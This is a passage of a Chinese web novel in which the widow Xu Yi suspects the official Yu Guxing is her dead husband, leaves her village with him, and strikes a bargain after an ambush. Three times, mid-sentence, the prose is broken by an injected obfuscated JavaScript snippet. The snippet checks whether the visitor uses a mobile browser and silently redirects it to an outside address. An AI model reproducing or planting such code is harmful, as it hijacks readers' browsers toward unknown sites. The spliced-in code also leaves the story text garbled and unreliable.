方才看他下了马车,跟她一起望向山腰上的那间屋舍时,他的目光始终平和冷静,没有出现半分纰漏。 而且,砚山的山路他也不够熟悉。 在砚山槐里与她一起生活了这么久,怎么会不记得? 徐宜也料想到沈大娘会出手打郁故行、还会将他认作她死去的夫君——言许。 前两日她都曾在他的面前说过这些。 “我没有对你说罢,你的……面容、声音、伤口,甚至是画作,都与我的夫君一模一样、别无二致。” 可她说的这些都被郁故行给搪塞过去了,他虽否认了却总留给徐宜一些希望。 譬如,他不肯说出自己手上伤痕的来历,再如,他无缘无故地为她作画,还与言许画的那般像。 他还总是对她手下留情。 杀死郡守公子的地方是个小酒馆,并不隐蔽,那晚甚至算得上热闹,酒馆里的很多人可以证明是她杀的人,在杀人前徐宜也没能做好充分的准备,以至于处处是纰漏。 主要是太过匆忙了。 郡守公子很少来那间小酒馆,况且素日他一出门身边便会有许多暗卫保护他。自卫之死后,她蛰伏在郡守府许久,都没有找到合适的机会。 生死对于她来说并不这么重要。 于是她动手了。 与她共谋的那个小姑娘貌似很想活下去,于是她就揽了罪名过来。 都说新官上任三把火,郡守的长公子可是清和郡守的心头爱,这位郁长吏初上任却没有折磨徐宜以谄媚、巴结曹闵,反而还留了她的性命、让她亲手杀了曹闵。 他说要将她送到京中的淮安王府做马奴。 ——做马奴虽然残忍,却总归是个钝刀子。钝刀子还没有开始削肉的时候,总归是不疼的。 因此徐宜心中对他仍有些期冀在。 若郁故行当真是言许的话,她还想质问他为什么明明还活着却不肯回来,若是回来不了为什么不肯送书信,还有他为什么会无缘无故地假死,随后再消失了三年之久。 这些她想问,只是不知从何问起。 但即便是她问了,郁故行也只会像之前那般面不红、心不跳地揭过这些话题,反倒还会转过来试探她的心思。 徐宜正看着郁故行的眼睛出神。 “你这丫头!”沈大娘见她一直拦着自己便也心生疑虑,停下来仔细看了会面前的年轻公子,开口问道:“你当真不是司州言家三公子言不许?” 郁故行无言摇了摇头。 “……你之前不认识徐宜?”沈大娘愣了下。 郁故行的目光在徐宜身上凝滞了会儿,才看向沈大娘说:“不认识。” “哎哟!”沈大娘喟叹一声,再跺脚恨恨地说来:“言家那时待你并不好,你那得了疯病的娘亲生你却不养你,你那滥情的父亲到处沾花惹草,落魄的家底却要去供那一大家子姨娘和私生子,他们哪,根本就顾不上你。你的身子又差,深居在言府十二年之久,也不曾去学堂读书,那时的你功名、钱财样样都没有。可我们小宜生得水灵漂亮,性子也善良,还是司州最能干的猎户,少有人能比得上她的刀法和箭术。” “你们结成夫妻之后,小宜帮了你许多,砍柴打猎供你去学堂读书,郡守给你使绊子、夺去你太学生的名额,还是小宜替你去讨的……谁曾想你什么都记不得了呢?”沈大娘说着说着红脸上就多了几行清泪,她说完就走到徐宜的身边继续说。“你说说你,那时我说的话你是半个字都不曾听进去。言不许那时一穷二白,你偏要嫁。男人最好的嫁妆就是贤良淑德,会洗衣、做饭,你偏要让他去太学。” 她的语气中没有奚落,有的只是恨铁不成钢。 沈大娘最后实在是说不下去了,叹了口气道:“现在好了吧,人家根本就不认得你了。” 徐宜的目光自始至终都落在郁故行的脸上。 他的脸、眼睛以及声音都会骗人,并且骗人的功夫极其高深。在此之前她就已经领教过了。 但她仍不死心。 可她最后还是失败了。 沈大娘说的这些话,明明都是旧事重提了,徐宜听了心头还是有些堵。但郁故行不一样,他听得格外仔细、认真,目光始终淡漠、冷静,听到某些令他疑惑的地方也只是微微皱眉。 ……完全看不出来他在想些什么。 徐宜失落地垂头,身旁的妇人还在喋喋不休地说言不许的坏处,她牵住沈大娘的手往屋里带。 走进屋里,沈大娘还想再说些什么,但看到徐宜的脸色有些发白便住了口。 “小宜的身子可还好?”沈大娘担忧地看着她,“要不先坐下罢,乡里的那棵四季桂又开了,大娘折了些,这就给你倒点桂花蜜来喝。” 徐宜弯起眼眸笑说:“不用啦,大娘。” 沈大娘看见这个笑容心里有些发紧,连忙绽出一个灿烂的笑容来,“哦我知道了,桂花蜜太甜了些,山泉水你总会喜欢吧,很清甜的。” “大娘……” “我这就去给你倒来。”沈大娘的心头越来越沉,她说完不等徐宜回答就往里去了。 过了好一会儿沈大娘才从里屋走出来,脚步很慢,走到半路她还停了会儿,目光自始至终落到坐在木凳上的徐宜身上,从来没有移开。 徐宜正抬眼就看见了停在半路的妇人。 她一手端着泉水,一手端着个大盘子,里面放的都是些刚热好的糕点,晶莹剔透的,每个都长得格外好看。 徐宜见沈大娘在发愣,就要起身去帮她。但沈大娘摇摇头之后就快步到了她的面前。 “等急了吧?”沈大娘将糕点放在方桌上,笑道:“糕点快趁热吃吧,都是我今早备下的。泉水我怕凉了些便也温了下,不过火候不是很大,山泉的清香味应当是还有的。” 日头渐渐西落,就要染红半边天际。傍晚的风吹过树梢,掀起一片林浪,其间的鸟鸣声不断。 ——就要到晚上了。 她今晚就要去往京中了。 徐宜看一眼屋外,郁故行还是站在原处,他今日穿的是件烟青色的华贵衣裳,远看与青灰色很是相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403982|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似。年轻公子异常耐心地等着,触及到她的目光并没有闪躲,反倒是……温柔地示意她可以再多待会儿。 “好啊。”徐宜拿起一块桂花糕送到嘴边,笑着应。 沈大娘也笑:“慢点吃,别噎着了。你不在的这些天,我就净钻研这些了,也帮不了你什么……不过幸好,你还活着,活着就好、活着就好啊。”说到最后,她带着皱纹的眼睛又有些湿润了。 “还有什么比活着更好呢……”妇人有些茫然地说。 徐宜:“谢谢您,沈大娘。老长吏之后没有为难你罢?” 沈大娘怔了下,反应过来才说:“当然没有!那老东西不过就是狐假虎威,郡守不出面,他自是不敢造次……你这姑娘说什么谢谢呢,真是的,这么见外。” 两人说了些家常琐事、春日趣事,沈大娘谈论起这些就有了原本的模样,眉飞色舞地,“哎小宜你是不知道哪,那许大婶又与她那酒鬼丈夫闹掰了,两人在田地中你追我逐的,许大婶那势头可怕得很,没人能劝得下来……据说是那酒鬼又在外面欠了些钱。”妇人叹口气、摇摇头再说,“谁让许大婶之前乱嚼舌根了?依我看哪,这都是她的报应……” 徐宜听了之后也笑。两人都没有提及与屋外那位公子相关的话题。 天快要黑净了,沈大娘点燃一盏烛台放在木桌上,又要兴致勃勃地开始说乡里的趣事。 “还有那隔壁村的……”徐宜却趁这时出声了,声音平静、温和。“大娘,其实这次我回来是想向你告别的。” “你……要去哪?”沈大娘蓦地僵住。 “我要去京中。”徐宜却笑了笑,低声羞涩地说:“屋外那位郁长吏就是我新找的替身。” 眼前的女子杏眼漆黑,烛火在她眼里微微颤着,她穿得单薄,肩膀和腰身都很瘦削,明明她眉弯着、眼眸也亮着,却莫名地给人一种疏离意味。 沈大娘很想劝劝徐宜,但她知道她劝不回了。 三年前是这样,三年后依然是这样。这个姑娘脾性倔,认定了就不会回头。 “大娘知你做好了决定。”沈大娘递一块梅花糕点,“但我还是要多嘴一句,屋外那郎君面上虽笑着,心思可多着呢,更何况他还是京中派遣来的官员,这为官的人哪,都坏……” 沈大娘说了很多,到最后又揩起了泪,“小宜哪,你可千万要珍重啊。” “我知道。”徐宜站起来向她道别,“大娘你也要保重……我会回来看你的。” * 天黑净了,徐宜提了盏灯从屋里出来,抬眼就能看见树下那道修长、高挑的身影。 明明已经站了有一刻钟了,姿态却仍然舒缓优雅。 郁故行似是觉察到身后传来脚步声,慢慢转过身来,见到徐宜之后茫然的目光变得温和明朗,话语之中还有几分责怪:“怎么不多待些时候,我能等的。” 徐宜有些发怔。 过去她喜欢夜猎,言许不能跟着她一同上山,他便常常在山脚下等她。不管她打多久的猎,他就只会站在原地等她,怎样也不恼。 徐宜那时候觉得夜里山凉,若是不走动的话身子便会受凉,她就不肯让言许跟她一起出门了,但言许偏偏要等。因此徐宜就只能在打猎的时侯速战速决了,可言许似乎发现了她的迁就,打趣地笑说,“怎么不多猎会儿?真是一日不如一日了呀。” 末了他又补了句,“无论多久,我都能等的。” …… “告好别了么?”熟悉的声音响在耳边,竟让徐宜一时分不清楚回忆与现实。 郁故行俯身接过女子手上的提灯,声音淡漠、清朗,也莫名地让人安心。 “走罢。” 待到走出沈大娘的小院后,云层后面的月晕洒了下来,山腰上的那间小屋的瓦砾屋顶上集满了月光,正银灿灿的发着亮。 徐宜原本还没有缓过来,她恍恍惚惚地跟在郁故行的身后,乍一抬眼就看见了那座木屋。 接着她停了下来。 走在前方的郁故行也停了下来,转过身微微皱眉看着她。 “怎么了?”他问。 不加任何思考、权衡的,徐宜仰头轻声问:“郁长吏……可对这里的一切感到熟悉?” 30. 天落雪 “槐里的山路,沈大娘,”徐宜侧头往山上看去,继续说,“还有那间屋子。” 她又看向提着灯的公子,“这些你觉得熟悉吗?” 夜间风盛,烛火在他的手里东倒西偏地晃悠,不过他倒是一贯的冷静,眼眸微微弯起,笑说:“徐娘子究竟是想要答案,还是想要听我些什么?” “都想。”徐宜近乎贪婪地看着他的眼眉,舔了舔唇继续说,“我都想的。” “……”郁故行失笑,刚想说些什么,身前女子却打断了他。 “郁长吏!不如这样罢。”徐宜歪头,似乎是在认真思考的模样,接着她便亮起眸子,“你先说我想让你说的,然后再说你自己心中的答案。” 未等郁故行回应,徐宜想到什么便改了话头,“不不不,郁长吏还是先说自己的答案吧。” “我的答案,徐娘子或许……”郁故行望着远处的那间小屋,敛眉轻声说。“或许不会喜欢。” 眼前的年轻公子走出身后的那片树影,轻扬起头,月光逐渐照清他清朗、温润的面容,也照清他今日穿着的这身烟青色衣裳,恍惚一看,就是言许惯常穿的青灰色。 这一幕,徐宜想了好久。 日思夜梦的人,怎么会不喜欢呢。 她看得出神。 或许是方才的糕点里加了少些酒酿,徐宜的脸和眼睛都有些发红,月光似乎也醉人,她耷拉下眉头,嘟嘟囔囔地开始说:“你进太学前明明说过不久之后就会回来的,还说要给我带京中好看的首饰,为我打最好的刀,还会挣好多银子回来……可你最后都是让别人寄回来的,每次你还要写好几封信,你明明知道我不想读信,还那么多字,我不想看,我想听你亲口讲……” 风声似乎在这一刻也停了,月光慢慢淡下来,山里显得格外静谧、孤独。 徐宜无辜地垂着眼睫,看向身前的公子。 他全身上下都是烟青色,只他的腰间有一抹异色,那抹异色正是京中朝廷所发放的令牌,檀木作成的令牌泛着沉闷的色泽,为官者皆有。 褚黄色写就的姓和名——郁故行。 明晃晃的黄色在月色下静静泛着幽光,仿佛就是在告诉她,面前的这个人不是言许,不是她死去的夫君。 而且方才沈大娘错认了他之后,久久不见他拿出这枚令牌,徐宜还以为他当真是忘带了。 若非他腰间挂着这枚令牌,她今晚将他认成言许了。 这人心思好生多。徐宜默默腹诽。 郁故行没注意到女子的动静,他仍是安静地听着,侧脸看上去倒是有几分落寞。 触不及防的,身前女子猛地凑前来,质问他道:“……所以你到底是有什么苦衷,以至于不能告诉我?” 郁故行借此也看见了她那双漆黑的眼睛。 眼中几分清明。 她根本就没醉,也没有触景生情。 ——她是在骗他。 “这个苦衷,徐娘子找了三年都没有找到吗?”郁故行有些恼自己被骗到了,语气带着些讽意。 徐宜夺过他手里的提灯,没有理会他的这个问题,而是径直往前走,待走在他前面了才说:“郁长吏不是说今晚就要去京中吗?还是快些罢。” 郁故行看了女子的身影良久,才快步追上去。只是他走得格外迟疑、不舍,几乎是一步三回头,每次回头的目光都始终落在远处的那间小屋上。 * 翌日,长吏府中。 徐宜躺在床榻之间闭目养神。 昨日从槐里乡回到清和郡后已经快要天亮了,徐宜原以为郁故行会加紧驱马前往京中,毕竟她问他何时去京中的时候他回答得那样肯定,可谁曾想他只是对她不轻不重地说了句太晚了,明晚再走罢。 她自然是无所谓,当下就应了下来,随后便拖着沉重的身子就回里屋睡觉了。 回想起这半个月所发生的事情,简直就是她往常不能够设想的。 清和郡翻了天。 老长吏、郡守、郡守公子以及王屠夫,他们都死了。 半个月前徐宜准备杀郡守公子的时候,完全没有预料到这样的局面。郡守公子不是好惹的碴,他寻常也不会去那样平常的小酒馆,这些都是与她共谋的那位姑娘安排好的,她只负责动手就行。 但她也知道,清和郡到处都是郡守的眼线,她们没那么容易逃脱。郡守公子的死需要有人去担。 她不想担,担了就不能再来杀郡守了。但不知是谁供出了她,郁故行居然能作出她的画像来,清和全郡都以那张画像来通缉她,依那时的状况,她是很难逃出去了。 于是徐宜干脆选择自首,顺便去看看作那张画像的人。她的仇虽没有报完,但京中的那些权贵几乎是她无法触碰的所在,连稍次一点的清和郡守都杀不死,更遑论京中的那些皇家贵胄了。 但令她没有想到的是,她见到了郁故行。这位新上任的长吏大人不仅与她夫君长得相似,还肃清了清和郡的风气,老长吏、郡守还有其他作威作福的官员,他一个都没有放过。 他甚至还要带她去京中,将她送到淮安王符当马奴。 这不就是在给她机会吗? 这么多年来,她的那匹驽马生前就一直在遭受痛苦,每年寒冬,它的伤口就会复发,不断地向外流出脓水。但整个司州没有多少人愿意医治驽马,即便是有,也治不好它。 断腿、瞎眼,还是驽马身份,不知受了多少人歧视。 连绵不断的恨意一直积攒在心头,直到现在她终于有了机会去往淮安王府。 叩门声起,屋外响起侍女的声音,“徐娘子,郁公子说半刻钟之后就可以动身了,他让你快些准备。” “……”不是说晚上吗。 徐宜这才从床上坐起来,向外应了一声。 洗漱、整理完后,徐宜将原本放在腰间的刀取下来,藏到了胸前。随后她才慢悠悠地走出里屋,到正堂的时候远远的就能看见郁故行站在府邸门口等她。 待到走近了,徐宜才看见门口停了不止一匹马,后面还有两三匹马,马背上全都驮运着一些木箱子。 东西还不算少。 徐宜随口问:“这些都是你要带走的吗?” 郁故行“嗯”了声。 “想不到郁大人回京述职都还要带这么多东西,”徐宜用艳羡的语气说道,“真是皇亲贵胄啊……” 郁故行听到“皇亲贵胄”这四个字微眯了眼眸,随后才抬眼看向徐宜笑说:“在下不是回京述职,而是卸任回京。” “你被卸任了?”徐宜睁大了眼睛,有些不可置信地说:“司州和交州离得这样远,清和郡就算是在司州的西南边界,与位于交州的京中也是隔了十万八千里,快马加鞭少说也得七八日,朝廷哪能这么快得知消息、并将你卸职?” “徐娘子向来是聪明的。”郁故行说,“你猜猜是为什么?” 徐宜没理会他话语中的嘲讽,淡淡地分析:“郡守公子死了不打紧,一个纨绔死了就死了,朝廷不会关心,只有曹闵会在意。但曹闵不同,他在清和郡只手遮天,还与京中的权贵多有牵扯,甚至还掌握着他们的一些秘密。”她在郁故行漠然的眸光中继续说,“所以曹闵的生死很重要,可以说他的一举一动都在权贵们的监视下……但清和位于司州,离京中太远了,他们即便有爪牙也不会这么快伸到清和来,况且我之前在监视曹闵的时候,他时时刻刻都处在戒备之中,仿佛就是在防范那群人。” “除非……”徐宜犹疑不定地抬眸对上了郁故行的眼睛。 郁故行没有给她任何反应的时间,下一刻他就弯起眸子问她:“除非什么?” 徐宜蹙眉认真思考,慢慢说:“除非、除非有人一开始就知道郡守会死在……你的手里。他提前串通好了这一切,提前告诉廷尉府的人你会杀死郡守,待到曹闵真的死了,恰如卸磨杀驴,他们便立马将你给卸职了。” “看来徐娘子的确很聪明。”郁故行的夸奖并不怎么真心实意。 “是张渠罢。”见郁故行挑眉看向她,徐宜就知道自己说对了,“从长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442222|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吏府高堂上的初次见面,你和张渠就不对付……哦不对,不是张渠,是他背后的人──那位北山王。” 她这三年没少打听京中的事情。许朝早就被这位大名鼎鼎的北山王给架空了,许朝的历代皇帝不过是他的傀儡。当今的太后许离人还是北山王同母异父的妹妹,之前的皇帝恐怕还有些自由,只这位登位不久的少帝早已彻彻底底地沦为北山王的傀儡,由他玩弄于股掌之间。 郁故行的眼睛里露出意外、疑惑的情绪,不过只一瞬就变得异常冰冷。徐宜从来没有在这位年轻的长吏身上看到这样冷漠的神情,即便是在高堂上审问,他也没有露出来过,甚至在那时他的眼睛里还隐隐带笑,将深层的情绪藏得极好。 徐宜挑眉,她捕捉到了郁故行这些微妙的情绪变化。 不得不说这位郁长吏真是一个相当合格的政客,他漆黑的眸子微微垂下再抬起,就让徐宜琢磨不定了,仿佛方才的他只是一个错觉。 他试探道:“徐娘子也知道北山王?” 徐宜别开眼:“听过而已,郁长吏不必如此紧张……那天在高堂上,老长吏有说过,张渠是北山王府的长公子。” “……是吗?”郁故行的眸光沉沉地落在她身上。 “北山王”这个人对郁故行来说,仿佛是个禁词。 徐宜指尖微蜷,略有些不自在,她压下心中的不自在,低声说:“是。” …… 好暖和。仿佛置身于春日暖阳下,日头好的紧。 风掠过脸颊,像是碰了下小草,柔软、舒适,还残留着一股清香味。 徐宜缓缓睁开眼,看到的是槐里乡那间简陋木屋里的天花板。 “醒了?” 听到这个声音,她蓦地睁大了眼睛,心酥酥麻麻地一阵狂跳。如果不是身体重得像铅,她定要坐起来抓住说话的这个人。 不然他肯定是要离开的。 徐宜皱紧眉头,想要努力坐起来。双腿使劲向上蹬,身子也往上在奔,她连五官都在用力,但身体好像被人禁锢住了,最后还是没能起来。 她只觉得自己的身子、双脚,还有脸都越来越烫。 正当她烫得受不了了的时候,额上蓦地多了一片温凉。 声音的主人又开口了,十分的温和、清润,就像是山涧一般沁人心脾。 “不要乱动。”他接着问,眼眉皱起,“是有哪里不舒服吗?” 就是言许。 徐宜初开始还以为是自己的幻觉,现下她算是确定了。 春光透过窗格照进来,照在身上格外令人感到轻柔、舒适。 随后她就被扶了起来,言许耐心地替她掖好两边的被子,端起放在桌上的薏米粥,一小勺一小勺地喂她。 徐宜一错不错地盯着言许,生怕一眨眼,他就不在了。 看得久了,她的眼睛一眨就掉出泪水来。 言许下意识地将那滴泪给揩了去,别开眼睛不自在地说:“……别以为这招就能让我原谅你。” “你明知道司州下雪会很危险,还偏要上山打猎。挑什么时候不行,偏要挑这下大雪的日子。这次是命好,要是下次……该怎么办?”言许说这段话很快,他心有余悸地说,语气中还带有几分庆幸。“下次下雪不准再去砚山了。” 屋里的门是敞开的,院外的景致都能够看得见,一片祥和春光。徐宜迷迷糊糊地看见院外歇着她的那匹驽马。 “如果一切都是真的就好了……”徐宜喃喃道。 言许看了过来,“什么真的假的?” 他皱起眼眉:“说起这件事,我得好好跟你讲讲。” “啊?”徐宜愣了。 “你居然会将他视作我。”言许看着她,像是很失望的样子,“……你连我都认不出来了吗?” 骤然惊醒过来,徐宜发觉自己正挨着马车的壁沿上睡觉。 然后她又发觉有什么目光一直停在她的脸上。 徐宜警觉地看过去,好巧不巧的,正好对上了郁故行的那双漆黑的眸子。 31. 天落雪 郁故行或许没有预料到她醒过来了,所以没有立刻移开眸光,现在猝然被她盯上,他觉得有几分尴尬。 面前的女子格外警觉,或许是觉得他冒犯。郁故行不自在地垂下眸子,朝她点点头说:“……醒了。” 徐宜愣住两秒,意识渐渐回笼过来。她想起言许在梦中对她说的话。 你居然会将他视作我? 这个‘他’想必指的就是面前的这位郁长吏了。 是了,她的确有很多次都被这张面皮给迷惑到了,以至于她下意识地就将郁故行当成了言许,不断地对其放下戒心,随后被他所掌控。 “原来郁长吏还有窥探寡妇睡觉的癖好。”徐宜咬咬牙恨恨地道。 她将‘寡妇’二字咬的极重。 郁故行轻掀眼帘看了她一眼,目光很是温和,他道:“抱歉。” 徐宜下意识地,又怔了一瞬。 反应过来的时候她只能看见他的半边侧脸,同样莹润、温和。 “……”方才在长吏府门口质问、威压她的那位郁长吏呢? 徐宜深吸了一口气。 似乎是从那张画像开始,郁故行就开始不对劲了。他应该是故意仿了言许所作的画,然后再利用自己天生的优势,让她陷入一种错觉。 一种以为他是自己死去的夫君的错觉。 他不光调查了她,还调查了言许。他清楚言许的性子、画作、面容…… 一个活在京中的‘利名客’怎么可能用那样温和的眼神看她? 她杀了郡守的长公子,人证物证俱在,他作为清和郡新上任的长吏,理应给郡守、朝廷、民众一个合理的交代。即便他此行的目的可能是刺杀郡守,也犯不着对她投入这么多注意力。 ……他甚至还专门去槐里调查了她。 这样大费周章,当真只是让她做一个淮安王府的马奴么? 徐宜心中升起疑虑。 若说他是在利用自己得天独厚的优势扮作她的夫君,以便更好地利用、操纵她,倒也不全是这样。 一个好的伪装必定是面面俱到的。 可他初次见面便显出了一些端倪,他在高堂上的目光是居高临下的,明明是在笑,却带着极强的侵略性。 他那时已经作出了与言许相同的画作,不会不知道言许的性子。 所以他在高堂上为何要用那样的眸光打量她,甚至还默许老长吏对她用刑,后来还把她送给了郡守。 徐宜抬眸又去看他。 他虚阖着眸子靠在马车壁沿上,似乎睡着了。 ……为什么?是要伪装成失忆的样子吗?所以才来为她作画,再处处试探她么? 可即便是失忆,一个人也不会像郁故行这样性情大变。除了长相、声音和身形,其余的几乎像是换了一个人。 ……是这三年导致他变了的么? 你居然会将他视作我? 徐宜猛然惊醒,反应过来的时候被自己给出的这个猜测吓了一跳。因为这个猜测的前提是她已经将郁故行当成了自己死去三年的夫君。 她在心中嗤笑一声。果然皮相的诱惑力还是太大了么? 徐宜摇了摇头,闭上眼睛不再想这些事情,她脑袋很乱,需要休息。 * 马车安稳地行驶了六日,直到第七日的时候,发生了些变故。 变故正是冲着郁故行来的。 悄无声息的,一行穿着黑衣劲装的人劫持了整个车队,徐宜还来不及反应,就有人用匕首抵住了她的脖子。 她的身体紧绷起来,下意识地去摸自己放在胸前的匕首,却被一把冰冷的利刃逼退,那人低声警告她:“别动。” 她原本还想喊一声郁故行,但她听到了黑暗中似有若无的喘息声。 紧接着是一阵浓郁血腥气味。 看来郁故行还在这辆马车里,不过他目前的状态比她还差。 不论在哪里他都是一副掌控者的姿态,眼角微微上扬,明明在笑却显得冰冷淡漠。 那么现在呢? 匕首狠狠地抵着脖颈,徐宜动弹不得。面前禁锢着郁故行的黑衣人这时开口了,他的语气冰冷:“郁长吏真是好大的胆子,居然敢只身犯险。” 郁故行短暂地笑了下,并不回应。 “我们搜寻了十几辆马车都没有找到曹闵。”黑衣人听见他的笑声似乎不耐烦了:“……快说他人到底在哪儿。” 徐宜眼皮一跳,曹闵不是已经死了吗?还是郁故行挑唆她让她杀死的。 “我说了……曹闵已经死了。”郁故行咳了几声,马车内那股血腥味愈发的浓郁。 但即便这样,他依然笑了一声,话语间的嘲讽无处不在:“北山王就是这样迎接我的么?” 若是此处有灯亮,徐宜想必能看见郁故行那双笑着的、却不带一丝情感的黑色眸子。这人还真是时时刻刻都处于高位,没有半分妥协。 北山王,又是北山王。看来郁故行同北山王的关系没那么简单。 “郁长吏。”黑衣人啧了声,架在他脖子上的刀刃又逼近了些:“你是真的不怕死啊?” “北山王交给你的任务,你就这样忽视么?” 郁故行的语气格外淡漠:“我怎么做不需要你来指挥。” “你只需去回话就行了。”他轻抬眼皮,目光倦怠。 “那我便静候郁长吏的佳音。”黑衣人的古怪地干笑了一声,放开了匕首,跳出窗外。 与此同时,徐宜脖颈上的刀也松了,她唤了几声郁故行却没回应。 有理由怀疑他在装死,她摸黑点起灯烛,眨眨眼睛适应了一番光亮才看向郁故行所在的地方,却见到他那双漆黑如玉的眼睛正倦怠地看着她所在的地方。 徐宜愣了下,冷静地问:“曹闵不是死了吗?为什么那群人还找你要他?” 郁故行垂下眼帘:“我自作主张,叫你杀了他。” 徐宜脸上的表情凝滞几秒,面前的年轻公子抑制不住地笑了起来,他脖颈上的血还没有止住,他轻声说:“现在,徐娘子也是被他们所通缉的存在了。” 北山王是少帝的舅舅,大许王朝的整个命脉都掌握在他的手中。他的权势脉络或许可以囊括整个九州,这就是他的可怕之处了。 方才那些黑衣人分明就是他的手下。他们在责怪郁故行擅自杀了曹闵。 可若是令他们知晓是她杀了曹闵的话…… “徐娘子是在害怕吗?”郁故行懒懒地问,他仰着脖颈,随后再拿出马车里备着的绷带出来包扎。 徐宜冷眼看着他:“北山王就算知道了是我杀的曹闵,可郁长吏……你就能脱掉全部的责任么?” 依那些黑衣人对郁故行的态度,徐宜推测出,北山王根本就不信任郁故行,所以才放任他手下的人肆意妄为。 “徐娘子果然聪明。” “即便我说了是你做的,北山王也会怀疑我。”郁故行笑了笑,将绷带绕着脖子围了一圈,然后系好死结。 徐宜不可置否地点了下头。 “不过,”他略微抬起眼睛,淡淡道:“我若是说了的话,他们只是会怀疑我,并不会对我怎么样,但他们一定会杀了你。” 刚深吸一口的徐宜:“……” 郁故行:“毕竟我对他还有价值。” 他微微扯起嘴角,在徐宜惊疑的眸光中轻轻颔首,意有所指地说:“希望徐娘子也能做一个有价值的人。” “郁大人需要我有什么价值,”徐宜开口问。“不会只是让我去淮安府当马奴那么简单罢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447802|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁故行唇色苍白,闭上眼睛不想再理会她。 徐宜目光一凝,她欺身上前,将郁故行逼到了角落处,随后摸出身上的匕首抵在他的颈侧,稍稍一用力,白色的布条就被染红,他这下算是白包扎了。 “这是第二次了。”身下的人闷哼一声,淡淡说道。 徐宜一挑眉,没错,这是她第二次想杀他了。这六天来她无时无刻不在观察马车里运送的东西,以及护送马车前行的人,他们都只是些普普通通的侍卫和车夫。她起先还不信,郁故行这样谨慎的人怎么可能不安排些高手保护自己的安危呢? 她蛰伏了几天,才终于在今天有了答案。他没有在暗处安排其他的人,不然方才那群黑衣人来胁迫他的时候,不会没有人站出来。 可,为什么? 郁故行虽然只是个清和郡的长吏,现在还被卸职了。可他到底是京中派来的官员,甚至还与权势滔天的北山王有些利益牵扯,想必他本身的地位也不算低。依他今晚的反应,应当是知道自己会遭受北山王的胁迫,可为何他不提前安排? 这种情况只有两种可能。 一,郁故行在暗处安排了人。他知道北山王会来找他要人,也会胁迫他,但他也知道自己对于北山王的价值,所以对于那群黑衣人的威胁有恃无恐。 二,郁故行只是个空壳,根本没有人为他尽心尽力。从他来长吏府开始,他身边的人除了张渠,便是一些原先长吏府的侍卫,徐宜从来没有看过他身边还有其他的人。 徐宜更加倾向于第二种猜测,毕竟这种情况对她有利些。所以她在赌,赌郁故行身边没有可信之人。 庆幸的是,她赌对了。马车内除了她和郁故行,当真没有出现其他的人。 徐宜贴到他耳边,低声说:“都到现在了,郁大人还要威胁我吗?” 郁故行看她一眼:“我没有威胁你的意思,我只是在阐述事实。曹闵的命虽然不重要,可他在京中的权势和声名很重要,北山王很需要他。若是北山王当真知道是你杀的曹闵,”他顿了下,才继续说,“毫无意外的,徐娘子你会死。” 刀刃逼的更深了些,血色蔓延出来。徐宜咬咬牙:“我要是此刻杀了你,就没人知道是我杀的曹闵了。” “……是我替你遮掩了你杀掉郡守公子的血案。” “那又如何?”徐宜偏过头说。 郁故行淡声:“一定要我现在说清楚利害么?徐娘子不想做一个到处被追杀的人,你应当还有事情没有办完罢。” 徐宜睁大了眼睛,匕首松了松。 “我不想威胁你。”郁故行蹙眉轻声说,“之前你没有机会能接触到京中的权贵,而我,恰恰能为你提供这个跳板。” “可我不知道你以后……还会不会威胁我。”徐宜垂眸。 “你那匹驽马的死,和你夫君的死……你在京中一定能得到你想要的答案。”郁故行眉梢微挑,笑起来,“这些不值得让你受我的威胁?” 郁故行说出的这些条件确实对徐宜具有无法比拟的吸引力,三年前她就想调查清楚了,只是京中的权贵离她太远了,她根本接触不到。 驽马瞎眼、断腿,她甚至还能找到怪罪的源头,但她夫君言许的死,她打探这么多年的消息,一点蛛丝马迹都没有。 仿佛如雨丝腾空消失般,京中没有人记得他的存在。她不知道他们是不在意还是……故意隐瞒。 郁故行说的没错,她的确需要他这个跳板。所以即便他受了这样重的伤,也断定她不会杀死他,也不会丢下他。 京中的这些人无一例外的,都是好算计。 徐宜眯了眯眼,缓缓松开手,坐回原处,她漠然地看着年轻公子虚弱的样子,轻声唤了他的名字:“郁故行,你可以威胁我。但我希望你不要食言。”